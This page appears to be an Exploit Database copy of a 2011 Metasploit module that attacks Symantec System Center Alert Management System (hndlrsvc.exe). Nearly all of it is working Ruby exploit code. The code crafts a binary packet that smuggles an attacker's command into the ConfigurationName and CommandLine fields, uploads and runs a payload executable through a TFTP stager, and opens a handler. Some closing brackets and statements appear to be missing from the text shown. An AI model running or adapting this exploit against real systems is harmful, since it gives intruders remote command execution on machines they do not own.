Symantec System Center Alert Management System – ‘hndlrsvc.exe’ Arbitrary Command Execution (Metasploit)

Exploit Database
121 阅读

作者： Metasploit

日期： 2011-08-19
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17700/

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# $Id: ams_hndlrsvc.rb 13591 2011-08-19 18:35:29Z mc $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::CmdStagerTFTP

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution',

'Description'=> %q{

Symantec System Center Alert Management System is prone to a

remote command-injection vulnerability because the application fails

to properly sanitize user-supplied input.

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 13591 $',

'References' =>

[

[ 'OSVDB', '66807'],

[ 'BID', '41959' ],

[ 'URL', 'http://www.foofus.net/~spider/code/AMS2_072610.txt' ],

'Targets' =>

[

[ 'Windows Universal',

{

'Arch' => ARCH_X86,

'Platform' => 'win'

}

]

'Privileged' => 'true',

'Platform' => 'win',

'DefaultTarget' => 0,

'DisclosureDate' => 'Jul 26 2010'))

register_options(

[

Opt::RPORT(38292),

OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),

], self.class)

end

def windows_stager

exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")

execute_cmdstager({ :temp => '.'})

@payload_exe = payload_exe

print_status("Attempting to execute the payload...")

execute_command(@payload_exe)

end

def execute_command(cmd, opts = {})

connect

if ( cmd.length > 128 )

raise RuntimeError,"Command strings greater then 128 characters will not be processed!"

end

string_uno= Rex::Text.rand_text_alpha_upper(11)

string_dos= Rex::Text.rand_text_alpha_upper(rand(4) + 5)

packet ="\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00"

packet << "\x02\x00\x95\x94\xc0\xa8\x02\x64\x00\x00\x00\x00\x00\x00\x00\x00"

packet << "\xe8\x03\x00\x00"

packet << 'PRGXCNFG'

packet << "\x10\x00\x00\x00"

packet << "\x00\x00\x00\x00\x04"

packet << 'ALHD\F'

packet << "\x00\x00\x01\x00\x00"

packet << "\x00\x01\x00\x0e\x00"

packet << 'Risk Repaired'

packet << "\x00\x25\x00"

packet << 'Symantec Antivirus Corporate Edition'

packet << "\x00\xf9\x1d\x13\x4a\x3f"

packet << [string_uno.length + 1].pack('v') + string_uno

packet << "\x00\x08\x08\x0a"

packet << "\x00" + 'Risk Name'

packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')

packet << "\x00" + string_dos

packet << "\x00\x08\x0a\x00"

packet << 'File Path'

packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')

packet << "\x00" + string_dos

packet << "\x00\x08\x11\x00"

packet << 'Requested Action'

packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')

packet << "\x00" + string_dos

packet << "\x00\x08\x0e\x00"

packet << 'Actual Action'

packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')

packet << "\x00" + string_dos

packet << "\x00\x08\x07\x00"

packet << 'Logger'

packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')

packet << "\x00" + string_dos

packet << "\x00\x08\x05\x00"

packet << 'User'

packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')

packet << "\x00" + string_dos

packet << "\x00\x08\x09\x00"

packet << 'Hostname'

packet << "\x00\x0e\x00" + [string_uno.length + 1].pack('v') + string_uno

packet << "\x00\x08\x13\x00"

packet << 'Corrective Actions'

packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')

packet << "\x00" + string_dos

packet << "\x00\x00\x07\x08\x12\x00"

packet << 'ConfigurationName'

packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')

packet << "\x00" + cmd

packet << "\x00\x08\x0c\x00"

packet << 'CommandLine'

packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')

packet << "\x00" + cmd

packet << "\x00\x08\x08\x00"

packet << 'RunArgs'

packet << "\x00\x04\x00\x02\x00"

packet << "\x20\x00\x03\x05\x00"

packet << 'Mode'

packet << "\x00\x04\x00\x02\x00\x00\x00"

packet << "\x0a\x0d\x00"

packet << 'FormatString'

packet << "\x00\x02\x00\x00\x00\x08\x12\x00"

packet << 'ConfigurationName'

packet << "\x00\x02\x00\x00\x00\x08\x0c\x00"

packet << 'HandlerHost'

packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')

packet << "\x00" + string_dos

packet << "\x00" * packet.length

sock.put(packet)

select(nil,nil,nil,3)

disconnect

end

def exploit

if not datastore['CMD'].empty?

print_status("Executing command '#{datastore['CMD']}'")

execute_command(datastore['CMD'])

return

end

case target['Platform']

when 'win'

windows_stager

else

raise RuntimeError, 'Target not supported.'

end

handler

end